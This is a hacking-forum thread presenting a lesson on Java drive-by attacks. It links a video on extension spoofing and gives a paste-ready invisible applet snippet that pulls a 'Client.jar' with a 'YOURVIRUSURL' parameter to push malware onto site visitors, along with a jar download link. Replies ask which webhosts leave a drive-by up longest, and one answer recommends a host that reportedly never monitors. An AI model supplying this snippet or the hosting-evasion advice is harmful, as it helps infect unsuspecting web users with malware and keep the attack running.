Thread: [Propitious | Lesson 3 - Java Drive Bys](#)

-?Divine- - May 2, 2012, 9:51 am

Awaken. You have been lost for too long, buried, in the mist of unknown shadows. Awaken. Your cries have been heard and they shall not be neglected. Come forward. You are grasping in the dark, blind for what is before you. Awaken, for I shall be your eyes. Call my name, and I will breach the darkness in path before you. Take my hand, and I will be the light that illuminates your journey. Come forward, and walk with us, for we are the vanguard of your purification. Dance in the rhythm of silence.

Welcome. I am the head of Propitious beginner hacking classroom, and I will be teaching you from now on. You will post in this thread what you want to learn about, and what gets most votes shall be accepted for the next class. Everyone who applies for that class shall be invited to join the class and PM-ed with my Team Viewer information. Lessons will be recorded, and posted publicly so everyone who missed them can watch the video.

I highly recommend you read my [Ultimate Java Drive By](#) tutorial.

Third lesson, Java Drive Bys:

I have covered everything you need to know about extension spoofing and how it works. I am showing how it is done manually and how to code your very own extension spoofer.

[Video: http://www.youtube.com/watch?v=OwuU_3oCmT4]

Please note that hypercam didn't record the Team Viewer window and questions people were asking me. So if you hear me talk something random, I'm actually reading and replying to their questions or requests to repeat.

If you wish to apply for the class, please post [here](#).

Paste this in notepad:

```
Code <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">
<PARAM NAME = "AMLMAFOIEA" VALUE = "YOURVIRUSURL">
</APPLET>
```

Download client.jar [Here](#).

Other Lessons can be found [Here](#)

Great tutorial. Did you manage by accident to post this in the wrong section?
Maybe supposed to be in the TechSperts subforum?

I always love your intro text you put at the top of your tutorials or other threads.

Question:

Which webhosts do you recommend to use for a JDB? Like which one will let you keep the JDB for the longest time?

I recommend x90x.net. They never monitor anything. I left my JDB there and it's been on for 5 months.
